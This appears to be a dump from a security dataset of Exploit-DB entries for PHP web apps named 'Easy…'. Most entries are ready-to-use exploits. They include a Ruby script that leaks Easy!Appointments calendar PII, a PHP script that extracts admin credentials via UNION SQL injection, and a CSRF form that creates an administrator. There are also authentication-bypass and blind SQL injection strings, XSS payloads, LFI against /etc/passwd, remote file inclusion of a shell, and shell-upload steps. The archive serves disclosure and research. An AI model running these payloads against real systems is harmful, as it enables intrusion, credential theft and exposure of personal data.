deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50871
Description: Easy Appointments 1.4.2 - Information Disclosure
Type: webapps
Platform: php
Date: 2022-04-19
Author: Alexandre ZANNI

Exploit:
# Exploit Title: Easy Appointments 1.4.2 - Information Disclosure
# Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
# Author website: https://pwn.by/noraj/
# Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482
# Date: 2022-04-11
# Vendor Homepage: https://easyappointments.org/
# Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz
# Version: < 1.4.3 (it means up to 1.4.2)
# Tested on: Easy!Appointments Version 1.3.2

# Vulnerability
## Discoverer: Francesco CARLUCCI
## Date: 2022-01-30
## Discoverer website: https://carluc.ci/
## Discovered on OpenNetAdmin 1.4.2
## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments
## CVE: CVE-2022-0482
## CWE: CWE-863
## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d[PII_REDACTED]c4f8775bb6d1e8f79492bdd796c
## References:
##   - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/
##   - https://github.com/alextselegidis/easyappointments/tree/1.4.2
##   - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml
##   - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/
##   - https://nvd.nist.gov/vuln/detail/CVE-2022-0482

#!/usr/bin/env ruby

require 'date'
require 'httpx'
require 'docopt'

doc = <<~DOCOPT
Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure

  Source: https://github.com/Acceis/exploit-CVE-2022-0482

  Usage:
    #{__FILE__} <url> [<startDate> <endDate>] [--debug]
    #{__FILE__} -h | --help

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <startDate> All events since (default: 2015-01-11)
    <endDate>   All events until (default: today)
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} http://10.0.0.1
    #{__FILE__} https://10.0.0.1:4567/subdir 2022-04-01 2022-04-30
DOCOPT

def fetch_csrf(root_url, http)
  vuln_url = "#{root_url}/index.php"

  http.get(vuln_url)
end

def exploit(root_url, startDate, endDate, http)
  vuln_url = "#{root_url}/index.php/backend_api/ajax_get_calendar_events"

  params = {
    'csrfToken' => http.cookies.first.value, # csrfCookie
    'startDate' => startDate.nil? ? '2015-01-11' : startDate,
    'endDate' => endDate.nil? ? Date.today.to_s : endDate
  }

  http.post(vuln_url, form: params)
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  http = HTTPX.plugin(:cookies)
  fetch_csrf(args['<url>'], http)
  puts exploit(args['<url>'], args['<startDate>'], args['<endDate>'], http).body
rescue Docopt::Exit => e
  puts e.message
end
Exploit-DB #35016
Description: Easy Banner 2009.05.18 - '/member.php' Multiple SQL Injection / Authentication Bypass
Type: webapps
Platform: php
Date: 2010-11-26
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45066/info

Easy Banner Free is prone to multiple SQL-injection and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

The attacker may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Easy Banner Free 2009.05.18 is vulnerable; other versions may also be affected. 

username: &#039; or 1#

password: &#039; or &#039;a&#039;=&#039;a
Exploit-DB #35017
Description: Easy Banner 2009.05.18 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-26
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45066/info
 
Easy Banner Free is prone to multiple SQL-injection and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
 
The attacker may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Easy Banner Free 2009.05.18 is vulnerable; other versions may also be affected. 

&#039;siteurl&#039; : http://"><script>alert(XSS)</script><aa aa="

&#039;urlbanner&#039; : "><script>alert(XSS)</script><aa aa=".gif
Exploit-DB #20789
Description: Easy Banner Pro - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-24
Author: Yakir Wizman

Exploit:
-----------------------------------------------------------
Easy Banner Pro (index.php page) Local file inclusion
Bug discovered by Yakir Wizman
Date 24/08/2012
Vendor Homepage - http://www.phpwebscripts.com/easybannerpro/
Demo - http://www.scripts-demo.com/easybannerpro/
ISRAEL
-----------------------------------------------------------
       Author will be not responsible for any damage.
-----------------------------------------------------------

About the Application
-----------------------------------------------------------
Easy Banner Pro is an advanced and very easy to use PHP script for running your own banner exchange system. 


Proof Of Conecpt
-----------------------------------------------------------
Local file inclusion (Severity is high)
Vulnerable URL	: http://server/easybannerpro/index.php?page=../../../../../../../../../../etc/passwd%00
Exploit-DB #10440
Description: Easy Banner Pro - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2009-12-14
Author: bi0

Exploit:
# Title: Easy Banner Pro - [ CSRF ] Create Administrator Account
# Date: 14/12/2009
# Author: bi0
# Software Link: http://scripts-gate.com/4/easy-banner-pro-banner-exchange-script.html
# CVE : ()

                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Easy Banner Pro - [ CSRF ] Create Administrator Account
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: sp1r1t,packetdeath,Zer0flag,redking and ssteam.ws ...
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#     [ Login ]
#     http://localhost/[path]/administration/index.php
#
# // Start CSRF
|-------------------------------------------------------------------------------|
<form action="http://localhost/[path]/administration/admins.php" method="POST">
  <input type="hidden" name="action" value="admin_created">
  <input  name="username" value="adminlol" maxlength=15>
  <input  name="password" maxlength=15 value="adminlol">
  <input  name="email" maxlength="255" value="test@demo.com">
  <input  name="name" maxlength="255" value="adminlol">
<input type="hidden" name="rights[]" value="advertisers" CHECKED>
<input type="hidden" name="rights[]" value="packages" CHECKED>
<input type="hidden" name="rights[]" value="publishers" CHECKED>
<input type="hidden" name="rights[]" value="ads" CHECKED>
<input type="hidden" name="rights[]" value="def_ads" CHECKED>
<input type="hidden" name="rights[]" value="black_zones" CHECKED>
<input type="hidden" name="rights[]" value="backup" CHECKED>
<input type="hidden" name="rights[]" value="email_u" CHECKED>
<input type="hidden" name="rights[]" value="reset" CHECKED>
<input type="hidden" name="rights[]" value="tmpl_msg" CHECKED>
<input type="hidden" name="rights[]" value="admins" CHECKED>
<input type="hidden" name="rights[]" value="config" CHECKED>
<input type="submit" name="submit" value="Submit">
</form>
|-------------------------------------------------------------------------------|
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]
Exploit-DB #29437
Description: Easy Banner Pro 2.8 - 'info.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-07
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/21967/info

Easy Banner Pro is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Easy Banner Pro 2.8 is reported vulnerable to this issue; other versions may also be vulnerable.

http://www.example.com/info.php?s[phppath]=http://phpshell
Exploit-DB #27129
Description: Easy Blog by JM LLC - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-27
Author: Sp3ctrecore

Exploit:
Dear Offensive Security,
I have discovered some vulnerabilities in Easy Blog, developed by JM LLC.

Best regards,
Sp3ctrecore


########## ADVISORY ##########


==============================================
Easy Blog by JM LLC - Multiple Vulnerabilities
==============================================

Software................: Easy Blog
Software link...........: http://www.jmagness.com/download/Easy_Blog.zip
Vendor..................: JM LLC
Vendor homepage.........: http://www.jmagness.com

Exploit author..........: Sp3ctrecore
Contact.................: sp3ctrecore[at]gmail[dot]com


--------
OVERVIEW
--------

Easy Blog is affected by multiple vulnerabilities.


-------------------
DISCLOSURE TIMELINE
-------------------

04/07/2013 -- Multiple vulnerabilities discovered and reported to the vendor.
19/07/2013 -- The vendor confirmed the vulnerabilities, but has no
time to fix them.
24/07/2013 -- Public disclosure.


---------------
VULNERABILITIES
---------------

[01] SHELL UPLOAD

The image upload function in add.php allows unrestricted file upload.
An attacker may upload a shell gaining unauthorized access to the
system.


[02] MULTIPLE SQL INJECTIONS

I. add.php - filename parameter (POST request)
An attacker may upload a file with a crafted name (e.g.
"file.txt',(select version()))-- -") injecting SQL code.
The content is readable in the homepage.

II. edit.php - filename parameter (POST request)
An attacker may upload a file with a crafted name (e.g.
"file.txt',POST=(select version()) WHERE id=1-- -") injecting SQL
code.
The content is readable in the homepage.


[03] MULTIPLE CROSS-SITE SCRIPTING

I.   add.php - title parameter (POST request): stored XSS.
II.  add.php - keywords parameter (POST request): stored XSS.
III. add.php - description parameter (POST request): stored XSS.
IV.  add.php - slug parameter (POST request): reflected XSS.
Exploit-DB #42919
Description: Easy Blog PHP Script 1.3a - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-28
Author: 8bitsec

Exploit:
# Exploit Title: Easy Blog PHP Script v1.3a - SQL Injection
# Date: 2017-09-27
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.codester.com/
# Software Link: https://www.codester.com/items/4616/easy-blog-php-script
# Version: 1.3a
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-27

Product & Service Introduction:
===============================
A simple and easy to setup script that allows you to have your own basic blog that comes packed with professional features.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/article.php?id=8' AND 7160=7160 AND 'cbgz'='cbgz

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=8' AND 7160=7160 AND 'cbgz'='cbgz

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43863
Description: Easy Car Script 2014 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Easy Car Script 2014 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://www.easyphotostore.com/
# Software Link: http://www.easycarscript.com/
# Version: 2014
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5986
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/site_search.php?s_vehicletype=auto&s_order=[SQL]&s_row=[SQL]
# 
# %35%31%20%2f%2a%21%30%35%35%35%35%50%72%6f%63%65%64%75%72%65%2a%2f%20%2f%2a%21%30%35%35%35%35%41%6e%61%6c%79%73%65%2a%2f%20%28%65%78%74%72%61%63%74%76%61%6c%75%65%28%30%2c%2f%2a%21%30%35%35%35%35%63%6f%6e%63%61%74%2a%2f%28%30%78%32%37%2c%30%78%33%61%2c%40%40%76%65%72%73%69%6f%6e%2c%64%61%74%61%62%61%73%65%28%29%29%29%2c%30%29%2d%2d%20%2d
# 
# # # # #
Exploit-DB #35955
Description: Easy Estate Rental - 's_location' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-15
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/48684/info

Easy Estate Rental is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/demo/uk/site_location.php?s_location=46â??a
Exploit-DB #35626
Description: Easy File Sharing Web Server 6.8 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-12-27
Author: Sick Psycko

Exploit:
Exploit Title: Easy File Sharing Webserver =>6.8 Persistent XSS
Date: 12/26/14
Exploit Author: SickPsycko
Vendor Homepage: http://www.sharing-file.com/
Version:6.8
Tested on: Windows 7 32bit

The exploit is within the username field.
So to exploit this vulnerability, One must place the payload into the
specified field when registering.

http://i.imgur.com/bibu81C.png
Once logged in. User will be greeted with such.
Exploit-DB #41944
Description: Easy File Uploader - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-04-27
Author: Daniel Godoy

Exploit:
# Exploit Title: Easy File Uploader  - Arbitrary File Upload
# Date: 27/04/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/easy-file-uploader-php-multiple-uploader-with-file-manager/17222287
# Tested on: GNU/Linux
# GREETZ: Rodrigo Mouriño, Rodrigo Avila, #RemoteExecution Team


POC

Drop file php (shell.php) to upload.
access to http://poc_site/fileFolder/shell.php and enjoy!
Exploit-DB #41271
Description: Easy File Uploader 1.2 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-02-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Easy File Uploader Script v1.2 - Arbitrary File Download
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/easy-file-uploader-php-multiple-uploader-with-file-manager/17222287
# Demo: http://demos.nelliwinne.net/EasyFileUploader/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# http://localhost/[PATH]/download.php?id=[FILE]
# # # # #
Exploit-DB #44703
Description: Easy File Uploader 1.7 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-22
Author: AkkuS

Exploit:
# Exploit Title: Easy File Uploader 1.7 - SQL Injection / Cross-Site
Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/easy-file-uploader-php-multiple-uploader-with-file-manager/17222287
# Version: 1.4 / fourth update
# Category: Webapps
# Tested on: Kali linux
# Description : Non-authorized users can perform the attack in the editing
area.
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
  Payload : id=1' RLIKE (SELECT (CASE WHEN (7769=7769) THEN 27 ELSE 0x28
END))-- wKWi

     Type : error-based
  Payload : id=1' AND (SELECT 6379 FROM(SELECT
COUNT(*),CONCAT(0x717a627671,(SELECT
(ELT(6379=6379,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ATeG

     Type : AND/OR time-based blind
     Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
  Payload : id=1' AND SLEEP(5)-- gTLZ

     Type : UNION query
     Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
  Payload : id=-3300' UNION ALL SELECT
NULL,NULL,CONCAT(0x717a627671,0x[PII_REDACTED]4846426c69514d[PII_REDACTED]5a6450464a[PII_REDACTED]766171476f447a[PII_REDACTED]4a,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL#


====================================================

# PoC : XSS :

  Payload :
http://test.com/EasyFileUploader/settings-users-edit.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98
;
Exploit-DB #27354
Description: Easy Forum 2.5 - New User Image File HTML Injection
Type: webapps
Platform: php
Date: 2006-03-04
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16958/info

Easy Forum is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

This issue is reported to affect version 2.5. Other versions may also be vulnerable.

Example 'Image File' data sufficient to demonstrate this issue was provided:
javascript:alert(123) sometext.gif
Exploit-DB #17926
Description: Easy Hosting Control Panel - Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2011-10-04
Author: Jasman

Exploit:
# Exploit Title: Easy Hosting Control Panel Admin Auth Bypass
# Google Dork: inurl:/ehcp/?op=applyfordomainaccount
# Date: 10/04/2011
# Author: Jasman
# Software Link: https://launchpad.net/ehcp & http://www.ehcp.net
# Version: 0.29.10 - 0.29.13
# Tested on: Ubuntu, Debian


+ Description
Easy Hosting Control Panel designed for hosting of multiple domains on single machine.
It uses LAMP(LinuxApacheMysqlPhp). Its aim:easily installable,easy usage, non-complex,functional


+ Vulnerable:
to add a ftp account & domain does not require a login.

http://site.com/vhosts/ehcp/?op=applyforaccount
http://site.com/vhosts/ehcp/?op=applyforftpaccount
http://site.com/vhosts/ehcp/?op=applyfordomainaccount

+ Exploit 
upload a shell via ftp
http://site.com/vhosts/[username]/[domain]/httpdocs/shell.php

+ Tested On
0.29.13
0.29.11
0.29.10


+ Other Link:
https://bugs.launchpad.net/ehcp/+bug/865889


+ Thank to:
ArRay,`yuda, N4ck0, K4pt3N, samu1241, bejamz, Gameover, antitos, yuki, pokeng, 
aphe_aphe, jos_ali_joe, BlueBoyz, JFry_, Ihsana'Lab, Anaski Crew, Forum.ExploreCrew
Exploit-Id, FeeLcoMz All Indonesian Hacker
Exploit-DB #24472
Description: Easy Live Shop System - SQL Injection
Type: webapps
Platform: php
Date: 2013-02-10
Author: Ramdan Yantu

Exploit:
+--------------------------------------------------
| Easy Live Shop System SQL Injection Vulnerability
| By cr4wl3r http://bastardlabs.info
| http://bastardlabs.info/news/?id=85

| Tested : Win 7
+--------------------------------------------------


Poc : http://bastardlabs/[path]/index.php?seite=17&aid=[SQLi]
Example : index.php?seite=17&aid=NULL/**/UNION/**/SELECT/**/NULL,CONCAT(CHAR(61),CHAR(61),CHAR(123),CHAR(123),CHAR(123),name,0x7c,0x7c,Email,0x7c,0x7c,Passwort,CHAR(125),CHAR(125),CHAR(125),CHAR(125),0x7c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/LS_Kunden
Exploit-DB #17347
Description: Easy Media Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-30
Author: Lagripe-Dz

Exploit:
<?php

if(!$argv[1])
die("

Usage   : php exploit.php [site]
Example : php exploit.php http://site.tld/[PATH]/

");
print_r("

# Tilte......: [ Easy Media Script SQL Injection ]
# Author.....: [ Lagripe-Dz ]
# Date.......: [ 27-o5-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ Sec4Ever.com & Lagripe-Dz.org ]
# Download ..: [ http://easymediascript.com/ ]
# Gr33tz ....: [ All Sec4ever Member'z ]

                      -==[ ExPloiT ]==-

# SQL Inj : http://site/ems/?watch=1'
# XSS     : http://site/ems/?go=\"><
ScRiPt>alert(0)</ScRiPt>

                       -==[ Start ]==-

");

$t=array("db_user   "=>"user()","db_version"=>"version()","db_name
"=>"database()",
"UserName  "=>"user","Password  "=>"pass");

foreach($t as $r=>$y){

$x=@file_get_contents($argv[1]."?watch=-1'/**//**//*!uNiOn*//**//**//*!sElEcT*//**//**/1,group_concat(0x".bin2hex("<$r>").",$y,0x".bin2hex("<$r>")."),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**//**/fRoM/**//**/ip_admin%23");

preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);

echo $u = ($dz[1][0]) ? "[-] $r  : ".$dz[1][0]."\n" : "[-] $r  : Failed
!\n";

}
echo "[-] AdminPanel  : ".$argv[1]."ip-admin/login.php\n";

print_r("
                      -==[ Finished ]==-
");

# END .. !

?>